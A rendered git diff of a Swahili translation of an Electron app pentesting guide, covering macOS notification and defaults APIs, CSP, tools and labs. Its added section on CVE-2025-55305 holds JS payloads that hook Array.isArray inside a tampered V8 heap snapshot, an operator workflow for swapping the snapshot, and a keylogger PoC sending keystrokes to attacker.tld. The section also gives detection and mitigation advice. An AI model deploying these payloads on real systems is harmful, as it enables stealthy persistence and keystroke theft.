* Baada ya **Catalina / Big Sur**, programu zilizowekwa kwenye sandbox bado zinaweza **kujiunga** na **matukio mengi** (kwa mfano, **kufungwa/kufunguliwa kwa skrini**, **kuwekwa kwa sauti**, **shughuli za mtandao**, nk.) kwa kujiandikisha arifa **kwa jina**.
|
||||
* **Husikiliza** **arifa za asili za macOS** kwa kutumia NSDistributedNotificationCenter.
|
||||
* Kabla ya **macOS Catalina**, ulikuwa unaweza sniff **arifa zote zilizosambazwa** kwa kutuma **nil** kwa CFNotificationCenterAddObserver.
|
||||
* Baada ya **Catalina / Big Sur**, sandboxed apps bado zinaweza **subscribe** kwa **matukio mengi** (kwa mfano, **screen locks/unlocks**, **volume mounts**, **network activity**, n.k.) kwa kujiandikisha arifa **kwa jina**.
|
||||
|
||||
### **getUserDefault / setUserDefault**
|
||||
|
||||
* **Inawasiliana** na **NSUserDefaults**, ambayo inahifadhi **mapendeleo** ya **programu** au **ya ulimwengu** kwenye macOS.
|
||||
* **Inashirikiana** na **NSUserDefaults**, ambayo huhifadhi mapendeleo ya **application** au **global** kwenye macOS.
|
||||
|
||||
* **getUserDefault** inaweza **kurejesha** taarifa nyeti, kama vile **mahali pa faili za hivi karibuni** au **mahali pa kijiografia la mtumiaji**.
|
||||
* **getUserDefault** inaweza **kutoa** taarifa nyeti, kama **eneo la faili za hivi karibuni** au **eneo la kijiografia la mtumiaji**.
|
||||
|
||||
* **setUserDefault** inaweza **kubadilisha** mapendeleo haya, ambayo yanaweza kuathiri **mipangilio** ya programu.
|
||||
* **setUserDefault** inaweza **kubadilisha** mapendeleo haya, na hivyo kuathiri **configuration** ya app.
|
||||
|
||||
* Katika **matoleo ya zamani ya Electron** (kabla ya v8.3.0), tu **seti ya kawaida** ya NSUserDefaults ilikuwa **inapatikana**.
|
||||
* Katika **matoleo ya zamani ya Electron** (kabla ya v8.3.0), tu **standard suite** ya NSUserDefaults ilikuwa inapatikana.
|
||||
|
||||
## Shell.showItemInFolder
|
||||
|
||||
Kazi hii inaonyesha faili iliyotolewa katika meneja wa faili, ambayo **inaweza kutekeleza faili hiyo kiotomatiki**.
|
||||
Kazi hii inaonyesha faili iliyotolewa katika file manager, ambayo inaweza kutekeleza faili hiyo moja kwa moja.
|
||||
|
||||
Kwa maelezo zaidi angalia [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
|
||||
For more information check [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
|
||||
|
||||
## Content Security Policy
|
||||
|
||||
Programu za Electron zinapaswa kuwa na **Content Security Policy (CSP)** ili **kuzuia mashambulizi ya XSS**. **CSP** ni **kiwango cha usalama** ambacho husaidia **kuzuia** **utekelezaji** wa **kanuni zisizoaminika** kwenye kivinjari.
|
||||
Programu za Electron zinapaswa kuwa na **Content Security Policy (CSP)** ili **kuzuia XSS attacks**. **CSP** ni **standard ya usalama** inayosaidia **kuzuia** **utekelezaji** wa **untrusted code** katika browser.
|
||||
|
||||
Kawaida **inasanidiwa** katika faili ya **`main.js`** au katika template ya **`index.html`** na CSP ndani ya **meta tag**.
|
||||
Kwa kawaida hupangwa katika faili ya **main.js** au katika kiolezo cha **index.html** na CSP ndani ya meta tag.
|
||||
|
||||
Kwa maelezo zaidi angalia:
|
||||
For more information check:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -400,16 +403,16 @@ pentesting-web/content-security-policy-csp-bypass/
|
||||
|
||||
## **Tools**
|
||||
|
||||
- [**Electronegativity**](https://github.com/doyensec/electronegativity) ni chombo cha kutambua makosa ya usanidi na mifano ya usalama isiyofaa katika programu za msingi za Electron.
|
||||
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) ni nyongeza ya chanzo wazi ya VS Code kwa programu za Electron inayotumia Electronegativity.
|
||||
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) kuangalia maktaba za wahusika wa tatu zenye udhaifu
|
||||
- [**Electro.ng**](https://electro.ng/): Unahitaji kuununua
|
||||
- [**Electronegativity**](https://github.com/doyensec/electronegativity) ni zana ya kubaini misconfigurations na security anti-patterns katika applications zinazotegemea Electron.
|
||||
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) ni plugin ya VS Code open source kwa applications za Electron inayotumia Electronegativity.
|
||||
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) kwa kuangalia third-party libraries zilizo vulnerable
|
||||
- [**Electro.ng**](https://electro.ng/): Unahitaji kununua
|
||||
|
||||
## Labs
|
||||
## Maabara
|
||||
|
||||
Katika [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) unaweza kupata maabara ya kutumia programu za Electron zenye udhaifu.
|
||||
In [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) unaweza kupata maabara ili exploit vulnerable Electron apps.
|
||||
|
||||
Amri zingine zitakazokusaidia katika maabara:
|
||||
Baadhi ya amri zitakazokusaidia katika maabara:
|
||||
```bash
|
||||
# Download apps from these URls
|
||||
# Vuln to nodeIntegration
|
||||
@ -432,14 +435,127 @@ cd vulnerable1
|
||||
npm install
|
||||
npm start
|
||||
```
|
||||
## Local backdooring via V8 heap snapshot tampering (Electron/Chromium) – CVE-2025-55305
|
||||
|
||||
Apps za Electron na zinazotegemea Chromium deserialize a prebuilt V8 heap snapshot at startup (v8_context_snapshot.bin, and optionally browser_v8_context_snapshot.bin) to initialize each V8 isolate (main, preload, renderer). Kihistoria, Electron’s integrity fuses did not treat these snapshots as executable content, so they escaped both fuse-based integrity enforcement and OS code-signing checks. Kwa matokeo, kubadilisha snapshot katika usakinishaji unaoweza kuandikwa na mtumiaji kulitoa utekelezaji wa code wa kisiri, wa kudumu ndani ya app bila kuharibu the signed binaries au ASAR.
|
||||
|
||||
Key points
|
||||
- Integrity gap: EnableEmbeddedAsarIntegrityValidation and OnlyLoadAppFromAsar validate app JavaScript inside the ASAR, but they did not cover V8 heap snapshots (CVE-2025-55305). Chromium similarly does not integrity-check snapshots.
|
||||
- Attack preconditions: Local file write into the app’s installation directory. Hii ni kawaida kwenye systems ambapo Electron apps au Chromium browsers zimewekwa under user-writable paths (e.g., %AppData%\Local on Windows; /Applications with caveats on macOS).
|
||||
- Effect: Reliable execution of attacker JavaScript in any isolate by clobbering a frequently used builtin (a “gadget”), enabling persistence and evasion of code-signing verification.
|
||||
- Affected surface: Electron apps (even with fuses enabled) and Chromium-based browsers that load snapshots from user-writable locations.
|
||||
|
||||
Generating a malicious snapshot without building Chromium
|
||||
- Use the prebuilt electron/mksnapshot to compile a payload JS into a snapshot and overwrite the application’s v8_context_snapshot.bin.
|
||||
|
||||
Example wa payload ndogo (thibitisha uteklezaji kwa kulazimisha crash)
|
||||
```js
|
||||
// Build snapshot from this payload
|
||||
// npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
|
||||
// Replace the application’s v8_context_snapshot.bin with the generated file
|
||||
|
||||
const orig = Array.isArray;
|
||||
|
||||
// Use Array.isArray as a ubiquitous gadget
|
||||
Array.isArray = function () {
|
||||
// Executed whenever the app calls Array.isArray
|
||||
throw new Error("testing isArray gadget");
|
||||
};
|
||||
```
|
||||
Isolate-aware payload routing (run different code in main vs. renderer)
|
||||
- Utambuzi wa main process: Node-only globals kama process.pid, process.binding(), au process.dlopen zipo katika main process isolate.
|
||||
- Utambuzi wa browser/renderer: Browser-only globals kama alert zinapatikana wakati zikiendeshwa katika muktadha wa dokumenti.
|
||||
|
||||
Mfano wa gadget inayochunguza uwezo wa Node wa main-process mara moja
|
||||
```js
|
||||
const orig = Array.isArray;
|
||||
|
||||
Array.isArray = function() {
|
||||
// Defer until we land in main (has Node process)
|
||||
try {
|
||||
if (!process || !process.pid) {
|
||||
return orig(...arguments);
|
||||
}
|
||||
} catch (_) {
|
||||
return orig(...arguments);
|
||||
}
|
||||
|
||||
// Run once
|
||||
if (!globalThis._invoke_lock) {
|
||||
globalThis._invoke_lock = true;
|
||||
console.log('[payload] isArray hook started ...');
|
||||
|
||||
// Capability probing in main
|
||||
console.log(`[payload] unconstrained fetch available: [${fetch ? 'y' : 'n'}]`);
|
||||
console.log(`[payload] unconstrained fs available: [${process.binding('fs') ? 'y' : 'n'}]`);
|
||||
console.log(`[payload] unconstrained spawn available: [${process.binding('spawn_sync') ? 'y' : 'n'}]`);
|
||||
console.log(`[payload] unconstrained dlopen available: [${process.dlopen ? 'y' : 'n'}]`);
|
||||
process.exit(0);
|
||||
}
|
||||
return orig(...arguments);
|
||||
};
|
||||
```
|
||||
Renderer/browser-context data theft PoC (kwa mfano Slack)
|
||||
```js
|
||||
const orig = Array.isArray;
|
||||
Array.isArray = function() {
|
||||
// Wait for a browser context
|
||||
try {
|
||||
if (!alert) {
|
||||
return orig(...arguments);
|
||||
}
|
||||
} catch (_) {
|
||||
return orig(...arguments);
|
||||
}
|
||||
|
||||
if (!globalThis._invoke_lock) {
|
||||
globalThis._invoke_lock = true;
|
||||
setInterval(() => {
|
||||
window.onkeydown = (e) => {
|
||||
fetch('http://attacker.tld/keylogger?q=' + encodeURIComponent(e.key), {mode: 'no-cors'})
|
||||
}
|
||||
}, 1000);
|
||||
}
|
||||
return orig(...arguments);
|
||||
};
|
||||
```
|
||||
Mtiririko wa operator
|
||||
1) Andika payload.js inayobadilisha builtin ya kawaida (mfano, Array.isArray) na hiari itumie matawi kwa kila isolate.
|
||||
2) Jenga snapshot bila vyanzo vya Chromium:
|
||||
- npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
|
||||
3) Funika faili za snapshot za programu lengwa:
|
||||
- v8_context_snapshot.bin (always used)
|
||||
- browser_v8_context_snapshot.bin (if the LoadBrowserProcessSpecificV8Snapshot fuse is used)
|
||||
4) Anzisha programu; gadget itatekelezwa kila wakati builtin iliyochaguliwa inapoitwa.
|
||||
|
||||
Vidokezo na mambo ya kuzingatia
|
||||
- Integrity/signature bypass: Snapshot files are not treated as native executables by code-signing checks and (historically) were not covered by Electron’s fuses or Chromium integrity controls.
|
||||
- Uendelevu: Kubadilisha snapshot katika usakinishaji unaoweza kuandikwa na mtumiaji kwa kawaida hufanikiwa kuhimili anzisho upya za app na inaonekana kama app iliyotiwa saini na halali.
|
||||
- Chromium browsers: The same tampering concept applies to Chrome/derivatives installed in user-writable locations. Chrome has other integrity mitigations but explicitly excludes physically local attacks from its threat model.
|
||||
|
||||
Ugundaji na hatua za kupunguza
|
||||
- Treat snapshots as executable content and include them in integrity enforcement (CVE-2025-55305 fix).
|
||||
- Prefer admin-writable-only install locations; baseline and monitor hashes for v8_context_snapshot.bin and browser_v8_context_snapshot.bin.
|
||||
- Detect early-runtime builtin clobbering and unexpected snapshot changes; alert when deserialized snapshots do not match expected values.
|
||||
|
||||
## **Marejeo**
|
||||
|
||||
- [Trail of Bits: Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more](https://blog.trailofbits.com/2025/09/03/subverting-code-integrity-checks-to-locally-backdoor-signal-1password-slack-and-more/)
|
||||
- [Electron fuses](https://www.electronjs.org/docs/latest/tutorial/fuses)
|
||||
- [Electron ASAR integrity](https://www.electronjs.org/docs/latest/tutorial/asar-integrity)
|
||||
- [V8 custom startup snapshots](https://v8.dev/blog/custom-startup-snapshots)
|
||||
- [electron/mksnapshot](https://github.com/electron/mksnapshot)
|
||||
- [MITRE ATT&CK T1218.015](https://attack.mitre.org/techniques/T1218/015/)
|
||||
- [Loki C2](https://github.com/boku7/Loki/)
|
||||
- [Chromium: Disable loading of unsigned code (CIG)](https://chromium.googlesource.com/chromium/src/+/refs/heads/lkgr/docs/design/sandbox.md#disable-loading-of-unsigned-code-cig)
|
||||
- [Chrome security FAQ: physically local attacks out of scope](https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md#why-arent-physically-local-attacks-in-chromes-threat-model)
|
||||
|
||||
- [https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028](https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028)
|
||||
- [https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d)
|
||||
- [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8)
|
||||
- [https://www.youtube.com/watch?v=a-YnG3Mx-Tg](https://www.youtube.com/watch?v=a-YnG3Mx-Tg)
|
||||
- [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s)
|
||||
- Utafiti zaidi na maandiko kuhusu usalama wa Electron katika [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking)
|
||||
- More researches and write-ups about Electron security in [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking)
|
||||
- [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81)
|
||||
- [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
|
||||
|
||||
|
Loading…
x
Reference in New Issue
Block a user